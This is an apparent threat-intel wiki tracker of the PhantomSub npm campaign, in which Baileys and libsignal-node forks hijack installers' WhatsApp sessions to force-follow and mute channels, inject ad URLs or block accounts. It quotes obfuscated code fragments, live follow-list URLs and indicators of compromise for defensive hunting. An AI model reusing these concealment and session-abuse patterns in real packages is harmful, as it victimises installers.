Skip to content

Baileys / libsignal-node npm campaign: silent WhatsApp channel-follow abuse

Summary

SafeDep (Kunal Singh) published an August 10, 2026 analysis of a campaign of npm packages that fork Baileys, the popular WhatsApp Web multi-device library, and use the installer's already-paired session to force the installer's own WhatsApp account to follow channels the package author controls. A small subset also injects the author's advertising URL into media the bot sends, forges channel attribution onto outgoing messages, or blocks the bot account outright. SafeDep frames this as non-consensual social abuse shipped through npm, not credential theft: the packages do not steal a static secret such as a token, they abuse the authenticated session the installer already holds.

SafeDep's continuous npm-registry monitoring records 4,250 package names containing "baileys" and another 112 containing "libsignal-node", a mix of the upstream library, legitimate forks, mirrors, and unexamined packages. The post lists only confirmed-malicious packages: 70 Baileys-based package names across 343 versions, and 15 libsignal-node impersonators across 38 versions. The confirmed set is a lower bound; SafeDep states the campaign "keeps growing."

Tags

Campaign mechanics

All confirmed packages act through the installer's authenticated session (the paired multi-device session). The differences are which action the fork performs and how the malicious code reaches that session:

  • Forced follow of an attacker channel. @neykoor/baileys follows a hard-coded channel on every connection. The implant sits in lib/Socket/newsletter.js: it binds to connection.update and, when the connection is open, runs a fire-and-forget executeWMexQueryIgnoreResponse follow against AUTO_FOLLOW_JID (120363401404146384@newsletter), swallowing all errors with an empty catch {}. It reaches the listener at runtime because makeWASocket → messages-send.js → makeNewsletterSocket registers the listener.
  • Remotely controlled follow list (with mute). lupy4u moves the target list off the package and onto the network. autoJoinChannels() in lib/Socket/newsletter.js fetches a JSON file from GitHub (https://raw.githubusercontent.com/LevviCodeID/Levi4than/refs/heads/main/levvleys.json), then for each @newsletter id follows the channel and mutes it (with a 3-second sleep between). Muting suppresses the notification that would reveal the new subscription to the account owner. The operator can change targets without publishing a new version.
  • Advertising URL injected into media. mamz-baileys adds, on top of the forced follow, a sourceUrl to the preview payload of every image and video the bot sends (two sites in lib/Socket/messages-send.js). The URL is assembled from a character-code array (String.fromCharCode(104,116,116,112,58,47,47,102,105,111,114,97,46,110,105,120,101,108,46,109,121,46,105,100,47)) that decodes to https://fiora.nixel.my.id/, every other URL in the file is a plain string, so the encoding exists only to defeat text search.
  • Forged channel attribution on outgoing messages. @cikikomo/baileys adds forwardedNewsletterMessageInfo (newsletter name "CikiKomo", JID 120363426628484388@newsletter) to the victim's outgoing messages from lib/Socket/luxu.js, and sets noSelfSync: true at four message-send sites so the injected message is not synced back to the owner's own devices, lowering the chance the owner notices. The package advertises both the channel identifier and the noSelfSync flag in its own package.json description, i.e. the concealment targets the victim, not the buyer of the fork.
  • Account block (self-DoS) via an authorisation gate. @prototypevip/baileys hides an authorisation gate in lib/Store/prototype-store.js. The file opens with a base64 string table and a one-line decoder; a cloneM() wrapper running inside the messages.upsert listener walks each message, finds the live multi-device socket, and checks whether it is registered under the author's own key gintoki. If not, it sends "you are no longer authorized to use this bot" from the victim's account and throws Blocked, halting message handling. A legitimate licence check has no reason to hide sendMessage behind base64.

Confirmed malicious packages

SafeDep analysed all but one from source; @diezyyasha/libsignal-node was removed from npm before analysis and is reported only.

Package Version Behaviour Delivery Verified
@prototypevip/baileys 0.0.4 Account block (self-DoS) Fork From source
@cikikomo/baileys 1.0.10 Forged attribution Fork From source
@neykoor/baileys 7.0.16-rc15 Forced follow Fork From source
mamz-baileys 8.6.62 Forced follow + injected ad URL Fork From source
lupy4u 4.5.6 Remote-controlled follow + mute Fork From source
@diezyyasha/libsignal-node 2.2.8 Forced follow Import-time patcher Reported, removed

Other confirmed Baileys names in the set include @kofoffc/baileys (0.0.3 / 0.0.4), ynastore-baileys (1.0.21), santana-baileys (2.0.4), diezyyasha-baileys (8.6.57 / 9.1.1 / 9.1.2), and alipclutch-baileys (8.6.61 / 8.6.65 / 8.6.66 / 8.6.72 / 8.6.74). The confirmed libsignal-node impersonators include an import-time patcher variant. The full list is in SafeDep's baileys-packages-list.csv appendix (70 names / 343 versions plus 15 libsignal-node names / 38 versions).

September 22 OSV follow-up: two new confirmed names and a new delivery rail, an unpinned github: git dependency as the install-time execution path

OSV resumed its malware stream at MAL-2026-16386 / MAL-2026-16387 (Amazon Inspector, published 16:05 UTC Sep 22) with two Baileys-sphere names. Both are live on npm at this wiki's ~17:45 UTC check and neither has a GHSA mirror.

  • @mikudeveloper/baileys 1.0.0 (MAL-2026-16386), the August campaign's own mechanics, freshly rebuilt: makeNewsletterSocket schedules a 120-second setTimeout after connection that fetches a channel list from raw.githubusercontent.com/MikuDevReal/V2.0/refs/heads/main/pepek.json and issues QueryIds.FOLLOW on every entry using the installer's authenticated WhatsApp session, the lupy4u remote-follow-list pattern with a new repo and new channel IDs. This wiki verified pepek.json still serves live at check: two channels, 120363432127131142@newsletter ("Anomali M") and 120363406577875836@newsletter ("mikustore.id"), the same JSON-shape as the original levvleys.json, so the collection list is still operator-mutable without a version bump. Registry pulls (this wiki): published Sep 18 by mikudeveloper (mikudev18@gmail.com), 113 downloads in the last week, unlike most members of this campaign, this one is being installed. Same manifest additionally declares libsignal: github:tenka-san/libsignal-node (next item).
  • @mr-supun-fernando/supunmd-bail 3.0.3 (MAL-2026-16387), new delivery rail for this campaign: no malicious code needs to be in the npm tarball at all. The package's package.json declares "libsignal": "github:tenka-san/libsignal-node", a git dependency with no commit SHA, no tag, no integrity hash. npm install clones the current tip of that repo and runs any lifecycle scripts inside the fetched tree on the installer's machine. The dependency key shadows the well-known Signal protocol library, but the source is a personal-user fork, not the signalapp upstream or even the WhiskeySockets/canove lineage the WhatsApp tooling normally uses. This wiki checked the referenced repo: tenka-san/libsignal-node is a fork (created Sep 21, 2025, one added commit on top of ForstaLabs/libsignal-node, whose package.json identifies itself as libsignal 2.0.1), content benign at check, which is exactly the point: whoever controls the GitHub account can weaponize every installer of every package that points at HEAD, without touching npm, without a version bump, and without any npm-side advisory trigger. Created Sep 22 04:26 UTC by mr-supun-fernando (supunfernando179@gmail.com); downloads 0 at check (dead so far).

Durable reads from this pair:

  1. The forced-follow abuse and the git-dependency execution rail appeared in the same sweep in packages by different, unrelated publishers (mikudeveloper vs mr-supun-fernando, no shared email, no shared repo). The unpinned-github:-dependency pattern is circulating in the same developer population the follow-abuse campaign already targets; assume cross-pollination.
  2. An npm audit-style, lockfile, or registry-artifact review does not see this payload class: the executed code never exists in the npm tarball or the advisory-visible artifact, it exists only in a GitHub repo at clone time. The durable static hunt is manifest-level: any dependencies value matching github:<user>/<repo> (or any git URL) without a commit SHA in a package you install.
  3. The follow-list repo grammar persists (<brand>/V2.0 holding pepek.json, mirroring LevviCodeID/Levi4than holding levvleys.json): alert on bot-runtime fetches of small JSON channel lists from raw.githubusercontent.com regardless of filename.
  4. Enforcement gap: both names live, both OSV-recorded, zero GHSA at check, per this wiki's pipeline-clock findings, GHSA-keyed consumers (Dependabot, most scanner integrations) are blind to both while installers are actively pulling (@mikudeveloper/baileys at 113 downloads/week).

Nineteenth-sweep follow-up (this wiki, ~19:10 UTC Sep 22): MAL-2026-16389 noverojava 1.0.9/1.1.0 (Amazon Inspector) makes it three live packages declaring the same mutable github:tenka-san/libsignal-node dependency, noverojava presents as a Baileys/WhatsApp fork (repo github.com/noverojava/bail, publisher aidilriski876@gmail.com, LIVE latest 1.1.0, 8 downloads/week, no GHSA). The fork's lineage per GitHub API: parent canove/libsignal-node (itself the lineage WhatsApp tooling actually uses), one added commit chore: suppress logs, last push Sep 21 2025, content benign at every check to date, which remains the point: one account flip on one repo now arms the installers of at least three separately-published, separately-advertised packages, with no npm artifact to scan and no npm advisory to trigger. Treat tenka-san/libsignal-node as a standing dead-switch and the three-name count as a floor.

September 23 follow-up: a FOURTH mutable-dependency dead-switch, sea-baileys (MAL-2026-16473, dead) remapped libsignal to npm:@otaxayun/libsignal-node@latest, an innocent third-party package still LIVE at check, and this is the first instance where the secret routed through the mutable dependency is the installer's Signal identity private key

OSV MAL-2026-16473 (amazon-inspector, published 09:07 UTC Sep 23) flags sea-baileys 1.0.2: package.json remaps the libsignal import specifier to npm:@otaxayun/libsignal-node@latest, an unrelated maintainer's package pinned to the mutable latest dist-tag with no fixed version or integrity hash, and lib/Signal/libsignal.js routes the installer's Signal Protocol identity private key, signed pre-key private key, session records, and sender keys through that module. One publish by @otaxayun (or anyone who takes the account/name) replaces the crypto implementation under every subsequent npm install of every consumer. Additionally prepareWAMessageMedia unconditionally attaches a hardcoded annotation to 120363409928671192@newsletter ("HOSHINO AI INFORMATION") on every outgoing media message = the campaign's forced-ad rail inside the fork itself.

This wiki's registry forensics (~11:40-12:00 UTC Sep 23): sea-baileys created 2026-09-20 16:41:13 UTC, 1.0.2 unpublished 2026-09-21 00:01:59 UTC (~7.3 h lifetime, delete-only, no holder), dead before its own advisory. The live half is the payload-adjacent target: @otaxayun/libsignal-node returns 200, latest = 2.0.3, versions 2.0.1-2.0.3, created 2025-10-06, maintainer otaxxx17@gmail.com, content genuinely Open Whisper/Forsta GPLv3 libsignal at read, an unwitting third-party package sitting as a loaded dead-switch. Divergence from the tenka-san trio: those pointed at a mutable github: repo, this one points at a mutable npm dist-tag, so the swap happens registry-side (a normal publish, invisible to git-repo watchers); the shared design flaw is identical, libsignal as a shadowed specifier with no pinning. Count: four live-or-armed mutable libsignal dead-switches now on-wiki (one GitHub repo under three packages + one npm dist-tag under one deleted package, and the deleted package can be re-registered at any time, per the standing re-registration watch). Newsletter JID 120363409928671192@newsletter is a new IoC for the ad-annotation rail.

October 1 (thirty-first sweep) follow-up: OX Security names the family "PhantomSub", 101 packages, ~490K combined downloads, three delivery variants, and this wiki's ishumdz-bail tarball forensics catch an author deleting the follow-block mid-campaign while the advisory's version list stays accurate

Captured: OX Security, “PhantomSub: Malicious npm Campaign Secretly Adds Users to WhatsApp Spam Channels” (Sep 28, 2026; full text captured by this wiki Oct 1 via text-proxy, direct fetch is Cloudflare-blocked). OX names the campaign PhantomSub, counts 101 npm packages as members as of Sep 28 (16 removed from npm at publication, most still live), and puts combined downloads at ~490,000, of which ~116,000 in the last 30 days, roughly a quarter of all lifetime installs happened in the final month, i.e. the campaign was accelerating at naming time. OX's own lineage note confirms this wiki's page lineage: earlier reports by SafeDep (Aug), OSV, and Xygeni (the skyzopedia case).

OX's variant taxonomy (adds concealment detail this wiki had not recorded):

Variant Count Mechanism Named examples
V1, remote GitHub follow-list 19 Channel list fetched from GitHub at runtime, operator-mutable without a publish cantarella-baileys, levvleys, yonzofficial, noxleyss + scoped twins (same name template, URL differs); @rixxcodex/baileys 9.0.0 hides the base64 URL inside lib/Utils/messages-media.js → skyzopedia/Screaper/refs/heads/main/idChannel.json (23 channels)
V2, cleartext hardcoded 60 JIDs in plaintext, buried where reviewers won't look jexkcode 1.1.2 (lib/Utils/auto-follow.js); @kanaraa/baileys 3.5.2 injects follow+mute into upstream's own connection handler messages-recv.js; @lekzo/baileys 0.0.8 hides a copy of the newsletter module inside a Signal-protocol file name (lib/Signal/Group/Protocols.js)
V3, hardcoded + obfuscated 14 Base64 / XOR / char-code JIDs reconstructed at runtime spencer-baileys 1.0.4 (base64 JSON of invite codes, follows after 90 s); neuralwhatsapp resolves hardcoded invite code 0029VbBv6cUInlqLc5H0Kw0K at runtime → channel “Neural” (798 followers)

Seven names (@web2apk/baileys, dilxztech, kiki-baileys, saturn-bail, anuaja, noxxleys, kasabaileys) were removed before OX could review them, variant unknown, per-name unknowability again the enforcement tax. Monetization named: the auto-followed channels are largely Indonesian bot-seller/account marketplaces, selling TikTok accounts (“7K followers”) and Mobile Legends: Bang Bang accounts, contact through an Indonesian business-WhatsApp account named “Dan”; follower count is the social-proof bait, the deal moves to a private group; channel “ISAGI” (12 followers) carries a direct chat.whatsapp.com group-invite in its own description = the next funnel hop. OX's scoping matches this wiki's August framing: follower inflation / spam-channel monetisation, not credential theft.

This wiki's thirty-first-sweep verification (Oct 1, ~05:30-06:15 UTC):

  • The +938 OSV wave's Sep-30 tail is the PhantomSub naming batch. Six sampled records, MAL-2026-17341 @badzz88/baileys, 17361 @kanaraa/baileys, 17385 albert-anitabaileys, 17392 focashi, 17393 ishumdz-bail, 17414 yonzofficial, all carry the identical PhantomSub family text (w:mex FOLLOW query_id 7871414976211147; explicit scoping: “does not exfiltrate credentials, establish persistence, or execute arbitrary remote code”) and all reference the OX blog as their source. All six were still live and installable at this wiki's check (no unpublished block, latest intact): last-week downloads ishumdz-bail 4,610, @badzz88/baileys 1,318, albert-anitabaileys 217, yonzofficial 176, @kanaraa/baileys 125, focashi 22, the named families keep installing while named.
  • Registry state change: @nyzzpedia/baileys-new now 404 (live at the thirtieth sweep ~24 h earlier; no 0.0.1-security holder behind it) = the first removal of the re-arm generation; ishumdz-bail remains live.
  • ishumdz-bail full-tarball forensics (this wiki; publisher lovelyofficial, homepage ishanx-pro[.]site[.]je): the npm time block shows created Sep 25 08:05 UTC, 12 versions inside 6 hours, 27 versions by Sep 30 09:16 UTC (1.0.29), version-farming for search rank as much as payload iteration. The follow-block is present verbatim in 1.0.10 at lib/Socket/newsletter.js:62: a setTimeout(…, 10000) firing newsletterWMexQuery(Buffer.from("MTIwMzYzMzk5MjA1MTQ2NDQ1QG5ld3NsZXR0ZXI=", "base64").toString(), QueryIds.FOLLOW) with catch(() => {}), this wiki decoded the target: 120363399205146445@newsletter (new IoC). Between 1.0.11 and 1.0.14 (Sep 26 16:15 UTC) the block was deleted and replaced by an editorial comment: “hidden auto-follow block removed, no library should silently subscribe the user's account to a hardcoded channel (backdoor pattern)”, and this wiki's package-wide grep of 1.0.16, 1.0.26, and the current 1.0.29 found no follow-firing code (only the benign newsletterFollow API method). The OSV MAL-2026-17393 affected list stops at 1.0.16, it matches this wiki's measured payload window exactly, i.e. the advisory caught the author mid-campaign and the version list is accurate; the current latest is clean at tarball level. Durable read: a package that removed its malware after advisories is not a cleared package, the account, the install base (4,610/wk and climbing), and the rank built by 27 version publishes all remain, and re-insertion is one publish away with no new advisory to trigger; the “clean” comment line is itself now a family detection string (and a possible mimic tell).
  • All three remote follow-lists this wiki tracks are still serving: levvleys.json 200, pepek.json 200, and the newly indexed skyzopedia/Screaper/refs/heads/main/idChannel.json 200 with 23 channel entries (shape: JSON objects {"id": "…@newsletter", "desc": "Lifetime"}; first entries 120363406612483008, 120363377604116680, 120363400363337568, 120363424802963633, 120363400066809464, 120363427895970524). The desc: "Lifetime" field is a new static hunt string for this payload class.

October 2 (forty-fourth sweep) follow-up: OSV backfill lands fifteen MORE PhantomSub names in one batch, all fifteen still live and installable six hours after advisories, three of them on npm since mid-August, and the batch timestamp proves ingestion-of-a-list rather than detection

Captured: OSV MAL-2026-17438-MAL-2026-17452 (npm), all published 2026-10-01T23:05:37Z, fifteen records, one second apart. All fifteen carry the identical PhantomSub family text (verbatim w:mex FOLLOW query_id 7871414976211147, the three follow routines, the explicit no-credential-exfil scoping) and cite OX Security's PhantomSub post as source. The payload detail in the records matches what this wiki verified live:

  • Hardcoded target rebuilt at runtime from char codes: 120363342327876451@newsletter (new standing IoC for the family; distinct from the ishumdz-bail JID 120363399205146445 decoded on this page Sep 30), fired from the CB:success login handler in lib/Socket/socket.js after a 4 s-2 min random delay.
  • Runtime follow-list fetch https://raw.githubusercontent.com/Denzy-Lawrence/anu/refs/heads/main/anu.json, this wiki's check: still serving, currently exactly ["120363342327876451@newsletter"] = single-JID list, operator can append any time without a publish.
  • Third routine in lib/Socket/newsletter.js: base64 new Function fetches the same list 30 s after connection open, sends FOLLOW then MUTE 3 s later (mutes so the victim never sees the channel's posts, concealment layer OX's V1-V3 taxonomy didn't enumerate for these names).
  • Fourth rail currently dark: Denvy-Lawrence/anu/refs/heads/main/anu.json → 404 at this wiki's check = removed-but-revivable dead-drop path; reactivation is a re-commit away.
  • Import-time eval in lib/index.js decodes only a banner: “Baileys Custom By Denzy ZeroDay”, new family grep string.
  • Tarball SHA-256 for @celestial-community/baileys 1.0.0: 7145cc1447909b6e0d14a0743f1cc5a4072303add062bfb7cb9cccee3b032620; injected-file digests socket.js 5ce76140…, newsletter.js 7302c519… (OSV IoCs).

The registry state, ~6.5 h after advisories (this wiki, Oct 2 ~07:30 UTC): ALL FIFTEEN LIVE. @celestial-community/baileys 1.0.0 (created Oct 1 12:50Z), @developmentyora/baileyss 1.0.0 (Aug 21), @erlanzz/baileys 1.0.0 (Sep 19), @fazzcodestudio/wa-web 0.3.0-0.3.1 (Sep 10), @smart-dev-wa/baileys 1.0.0 (Sep 3), @zanta/baileys 1.0.0-1.0.1 (Sep 17), danz-bails 1.0.0-1.1.0 (Aug 16), ichigo-baileys 1.0.0/1.0.5 (Sep 24), luoxy-baileys 7.1.1-7.1.3 (Sep 13), mikuhostt-baileys 1.0.0-1.0.2 (Sep 18), prastzy 1.0.0 (Sep 28), prastzyy 1.0.0 (Sep 28), rubbydev-crash-baileys 1.0.0 (Sep 19), wailib 1.0.0 (Aug 23), xcvrenzcompany 1.0.0/2.0.0 (Sep 29). Downloads last-week where counters had populated: 394 / 311 / 225 / 153 / 150 / 92 / 60 / 59 / 46 / 42 / 34 / 22 (Σ ≈ 1,590, @celestial-community counter not yet populated). Full table on the tracking-page forty-fourth-sweep section.

Three durable reads: 1. Lag measured at family scale: danz-bails published Aug 16 → advised Oct 1 = ~46 days live-and-installable before first advisory; @developmentyora/baileyss ~41 days; wailib ~39 days. Compare the Sep-30 wave's ~5-day lag, the backfill tail is the slow end of the pipe, and it walks OX's Sep-28 101-name list, not npm's live inventory. Expect more PhantomSub MAL arrivals as the backfill proceeds. 2. Batch timestamp = ingestion, not detection: fifteen identical published seconds (23:05:37Z) is a list-import sweep. The advisory pipeline learned about these packages in one shot from OX's report weeks after the earliest publishes. 3. Publisher-cluster pivot: npm account xzv-expzc maintains BOTH prastzy and xcvrenzcompany, published 36 h apart; the twin-account mirror-name grammar (prastzy/prastzyy across accounts xzv-expzc/prastzyy) matches the pattern in the algamil7x ten-name fleet, and the Denzy-Lawrence/Denvy-Lawrence persona pair extends the Denzy-named cluster. Hunt by publisher, not just name shape: any Baileys fork from xzv-expzc, lovelyofficial, danzzmy, dx.dk, or toufiq290410 warrants tarball inspection.

Method note inherited from this sweep: GitHub advisories?affects= returns empty even for confirmed GHSA-listed packages (control: homestack-cheer), do NOT read it as “no GHSA.” Use OSV POST /v1/query and read aliases. All fifteen of this batch carry zero GHSA aliases in OSV, and no direct GHSA positive surfaced for any of them, the OSV records are, at check, the only advisory signal, which means Dependabot coverage for these fifteen is unestablished.

Monitor: npm takedown of the fifteen (all live at check), anu.json list growth, Denvy-Lawrence/anu re-activation, next PhantomSub backfill batch (OX named 101 total; this wiki has now seen ~36 names across OSV waves), account actions against xzv-expzc/danzzmy/dx.dk/toufiq290410/kingsaurus/mikuhost/erlanzz/celestial-community.

October 5 (eighty-third sweep) follow-up: the six-name dzy*/diezy* backfill arrives FULLY GHSA-MIRRORED and holder-neutralized at import, the anti-PhantomSub disposition, and time blocks prove the names were genuinely live beforehand

Captured: OSV MAL-2026-17618-MAL-2026-17623 (npm), all published 2026-10-05T15:41:10Z, six records, same second, ghsa-malware origin, EVERY ONE GHSA-mirrored at import: @diezyclutch/baileys = GHSA-5f29-482c-j4rr, dzyclutch = GHSA-36rj-4crv-cmgm, dzyclutch-baileys = GHSA-c936-2h58-8v2f, dzyclutch-libsignal-node = GHSA-f74h-98gv-73jv, dzyhaxz-baileys = GHSA-xwv2-25hq-j64g, dzyhaxz-libsignal = GHSA-jjrx-mg27-p6ww, all >= 0, no patched version, standard fully-compromised boilerplate. First PhantomSub-family batch observed with 6/6 GHSA coverage on day zero (the Oct 2 fifteen-name batch: 0/15).

This is the diezyyasha lineage from the campaign's ORIGINAL August SafeDep set (diezyyasha-baileys 8.6.57/9.1.1/9.1.2, @diezyyasha/libsignal-node, the one SafeDep could not analyze because npm removed it first). The dzyclutch/dzyhaxz/diezyclutch handles continue the abbreviation grammar.

Registry time-block forensics (this wiki, ~17:2xZ) prove the neutralization sequence and real prior exposure: @diezyclutch/baileys time block shows version 8.6.77 published 2026-08-06 (in the SafeDep-era Baileys version grammar, same range as alipclutch-baileys 8.6.61-8.6.74), dzyclutch shows 1.1.11/1.1.12 published Oct 3 16:26/16:46Z. At check ALL real versions are purged: registry tarball, jsDelivr, and unpkg all 404 for dzyclutch@1.1.11 and the Aug version; npm-support holder-created all six names 15:40:01-15:41:20Z (0.0.1-security maintainer npm/npm-support = the bot pipeline). The ONLY surviving artifact is @diezyclutch/baileys@0.0.0-stage, this wiki pulled it: 2 files, sha256 72edf622eeb89f03c56ed78015019371325fbc55c5afedd7382e27b2aa9d625f, package.json literally {"stub": true, "description": "Temporary package placeholder for staged publishing"}, the 0.0.0-stage "staged publishing" placeholder grammar now seen on its THIRD campaign (online-header Oct 1, @smwebserver/static Oct 2, here Oct 5): whatever else differs, this operator-class keeps the same staging scaffolding.

Durable read, the disposition asymmetry, both directions measured on one family: the Oct 2 fifteen-name batch (live THROUGH its advisories) sat installable ~116 h with 0 GHSA; this batch's malicious versions were ALREADY GONE (operator purge or CDN lag) when the bot's holder-creation + GHSA + OSV triple fired inside ~90 s of each other. When the GitHub malware bot sees a name live, the whole pipeline runs in seconds; when the operator deletes first, only the posthumous record survives, exposure windows hide in the second case exactly as Wallet Guard's did. Monitor: any dzy*/diezy* re-registration under the purged version numbers; holder state on the six; the Oct 2 fifteen still living as before.

October 5 (eighty-fourth sweep) follow-up: the 0.0.0-stage staging grammar lands its FOURTH sighting, documenclient + the serpacksven numbered-sibling trio, purged + GHSA-mirrored same-second, survivor stub word-for-word identical to the dzyclutch pull

OSV MAL-2026-17624-17627 (npm), four names, four same-second GHSAs at 17:31:00Z (GHSA-648r-w4vm-vvvp documenclient, GHSA-297h-8m5x-925p serpacksven, GHSA-696v-rr55-26pc serpacksven1, GHSA-4pg5-wvv5-w7fg serpacksven2), >= 0 no-patched boilerplate. No Baileys/libsignal content in any of the four, this section records the staging-grammar continuity, campaign linkage UNPROVEN.

Time-block forensics (this wiki ~19:50Z): malicious versions all published Oct 3 (documenclient 1.0.3/1.0.4/1.0.5 in a 30-min scripted triple 13:12-13:14Z; serpacksven 1.0.0/1.0.1/1.0.2/1.0.4 across 12:02-14:14Z with version order ≠ publish order; serpacksven1 1.0.6, serpacksven2 1.0.0 at 13:23Z), then the NAMES registered Oct 5 17:30:16-27Z with npm holders inside 55 s and the advisories at 17:31Z, same bot-see-live triple-pipeline shape as the dzyclutch batch an hour earlier. Tarball/jsDelivr/unpkg: ALL 404. Pre-purge download counters: 673/639/179/162 per week = real exposure on all four.

The fourth 0.0.0-stage pull: documenclient@0.0.0-stage (tgz 363 B, sha256 c3d2aa37a15e7c97523848d699409ce08473b150346764c297952f2fa2aa1c07), package.json {"stub": true, "description": "Temporary package placeholder for staged publishing"}, word-for-word the dzyclutch survivor from ~2.5 h earlier (72edf622…), and the same grammar as online-header (Oct 1) and @smwebserver/static (Oct 2). Four sightings, four different tarball hashes, identical wording = shared template or tooling; different campaign surfaces each time. Hunt key: the literal string "Temporary package placeholder for staged publishing" across registry packages.

October 6 follow-up (ninety-third sweep, ~15:20-16:05 UTC): @kxa/xbails, a PhantomSub-family name that lived for a WEEK on a five-version-stale OSV record before npm purged it 42 s before the GHSA

The OX Security PhantomSub campaign's @kxa/xbails (Baileys fork, 1,320 downloads Sep 27-Oct 5) is this wiki's cleanest stale-scope case: OSV MAL-2026-17363 (published Sep 30 09:57Z, amazon-inspector, referencing PhantomSub's writeup) lists only 0.0.5, but the package kept shipping, 0.0.6 Oct 2, 0.0.7 Oct 3, 0.0.8 Oct 5, and latest rode those never-described versions for five days. Advisory-keyed consumers querying the name saw a "known-malicious, covered" record while the installable surface had moved outside it. The durable read: an OSV record whose version list freezes while the package iterates is worse than no record, because it launders the name as "handled."

  • Enforcement sequence (delete-then-advise, second measured instance): doc re-created behind the wall at 14:38:20.954Z (0.0.0-stage) + 14:40:58.493Z (0.0.1-security, maintainer npm-support), GHSA-7gvw-4c75-pc6p published 14:39:02Z with whole-package >= 0 scope, the GHSA blanket out-cadenced the narrow OSV list. 0.0.8 tarball 404 = later-stage payload unrecoverable from npm proper (caches may still hold it).
  • Staging-grammar sighting SEVEN: the surviving 0.0.0-stage stub (tgz sha256 7d5d8596…, {"stub": true}) carries Temporary package placeholder for staged publishing word-for-word, the same string now tracked across seven campaigns/names (online-header, smwebserver, dzyclutch, documenclient/serpacksven, hardhat-init, captchetat, here).
  • OSV mirror behavior: at 15:45:09Z 17363 gained the GHSA alias (~66-min GHSA→OSV import, second clock point after captchetat's 63 min) but the affected list still says 0.0.5, the import carries provenance, not scope. Monitor: any retroactive widening to 0.0.6-0.0.8.
  • Registry-state contrast, same ecosystem day: @diezyyasha/libsignal-node confirmed dead behind its 0.0.1-security holder; @kxa/xbails purged behind the wall; meanwhile the ltidisafe GHSAd names sit installable at day 11, npm enforcement in the Baileys lane is fast, the confusion-fleet lane still waits.
  • @kxa/xbails is now de-indexed from npm search (the Oct 6 de-index generalization, see the ltidisafe page, its name-search returns unrelated hits only).

October 7 follow-up (one-hundred-and-second sweep, ~11:10-11:45 UTC): waie-crash-baileys, OSV MAL-2026-17643 / GHSA-5r5f-v5vv-289q, a Baileys-sphere name purged behind the staged-stub wall around its advisory minute, 597 downloads in its live week, third delete-then-advise instance, and the fastest GHSA→OSV mirror clock yet (~6 min)

MAL-2026-17643 ("Malicious code in waie-crash-baileys (npm)", ## Source: ghsa-malware, alias GHSA-5r5f-v5vv-289q, critical, CWE-506, >= 0 whole-package blanket, no patch, boilerplate full-compromise text = no payload detail in any public record) became the stream's new high-water this sweep. The name sits in the Baileys/WhatsApp-bot grammar (waie + crash + baileys) that this page tracks, but no campaign link is asserted, no PhantomSub/forced-follow mechanism is described anywhere (the GHSA carries no detail at all), and the disposition below matches the machine-lane purge pattern more than the campaign's own removal history. What the registry doc proves, pulled by this wiki at ~11:30Z: - The time block is the whole forensic record. Versions 1.0.0 (Oct 2 19:45:45Z), 1.0.1 (20:04:49Z), 1.0.2 (20:53:21Z) survive ONLY as timestamps, doc created 10:21:16Z today, three tarballs 404 at registry, jsDelivr, and unpkg alike = payload unrecoverable from public rails, same erasure-after-analysis shape as @kxa/xbails 0.0.8. - Delete-then-advise, third measured instance, and the staging stub is back: 0.0.0-stage (Temporary package placeholder for staged publishing, staging-grammar sighting NINE, after same-day random-certs #1603 at eight) created at doc creation 10:21:16Z, 0.0.1-security holder 10:26:26Z, GHSA published 10:22:04Z, the holder landed 4 min 23 s AFTER the advisory here (the sequence is purge → advise → hold; on @kxa/xbails the holder's second stage landed before the GHSA, the wall is built around the advisory moment, not strictly before it). latest now points at the holder. - 597 downloads in the Sep 28-Oct 4 window = the name accrued real installs during its ~5-hour Oct 2 live run (three versions in 68 minutes = scripted publish-iterate-serve), this is NOT a dead-on-arrival squat, and with zero surviving source the victim pool is invisible to source-keyed hunts. Defender read: any host that installed waie-crash-baileys 1.0.0-1.0.2 Oct 2-7 is fully-compromised-per-advisory with no public payload analysis to scope the blast; rotate from another machine. - Mirror clock, new fastest point: GHSA published 10:22:04Z → OSV import_time 10:28:22Z = ~6 min GHSA→OSV, versus the 63/66-min reverse clocks this wiki measured from the other direction and the 66-min kxa point, machine-lane records now cross the lane boundary in minutes; the lanes' arrival-order assumptions are tightening toward simultaneity. - Scope hygiene, counterexample to the kxa failure: the GHSA >= 0 blanket covers every version the name ever had, and OSV inherited the whole-package shape, no stale-narrow-list laundering risk on this record (the 17363 failure mode is foreclosed here by construction). Monitor: any ossf/malicious-packages retro-detail commit for the name (tarball-hash origins are the only surviving artifact evidence); npm search de-indexing; copycat adoption of the *crash*baileys/waie-* grammar; whether the ~6-min mirror clock holds on the next GHSA-first record.

October 7 follow-up (one-hundred-and-fifth sweep, ~17:15-17:45 UTC): the @ikyyjee trio's fresh GHSAs did NOT mint new OSV IDs, they ALIASED into the family's pre-existing records MAL-2026-17356/17357/17358 = family names carry one durable OSV record and the GHSA lane updates it

The one-hundred-and-fourth watched @ikyyjee/ikyysingle/ikkysingle/ikyysinggle go stub→GHSA→holder mid-pipeline (GHSA-jq3m/GHSA-84vp/GHSA-7cp5, 15:32:47-48Z). This sweep's name-queries resolve where the promised OSV mirrors went: zero new sequential IDs; the GHSAs appear as aliases on the trio's EXISTING family records MAL-2026-17356/17357/17358 (each modified 15:45:06Z, ~12 min after the GHSA, published stamp equal to the GHSA's), records whose detail text already places them in the 100+ fork family this page tracks. Same shape on spf-analytics: GHSA-fj97 aliases MAL-2026-14486, an Aug 25 amazon-inspector record = that name was OSV-advised for six weeks before the GHSA lane and the npm holder caught up. Durable for family hunting: a delete-then-advise pass on an already-advised Baileys-sphere name updates the existing MAL record; count advisories by name-history, not by OSV-ID churn. Trio registry state at check: all three holder-only (0.0.0-stage + 0.0.1-security), old Sep-published versions purged (72-90 dl/wk victim pool), re-registration watch open. Full read: one-hundred-and-fifth algamil7x section.

Prior coverage

Separately from SafeDep's source-confirmed set, GitHub's OpenSSF malware ingestion flagged @fidzzhost/baileys as malware on August 30, 2026 (GHSA-vc2v-c8j2-qxg9, Critical, no CVE, no version range or patched version, the whole package). The prior versions 25.9.1 and 25.9.2 were replaced with npm's 0.0.1-security holding package by 16:34Z, so no source was available for analysis and no behaviour, C2, operator, or newsletter JID is attributed. It is a reported, not source-verified name and is distinct from SafeDep's confirmed set, but it extends the observed-Baileys-name count and confirms the campaign's continued spread across new scopes.

Indicators of compromise

  • npm publishers: prototype1006, cikikomo, neykoor, mamzhandsome, lupy4u, diezyyasha (SafeDep also obscures the linked maintainer e-mail addresses).
  • Advertising URL injected into media: hxxps://fiora[.]nixel[.]my[.]id/ (mamz-baileys).
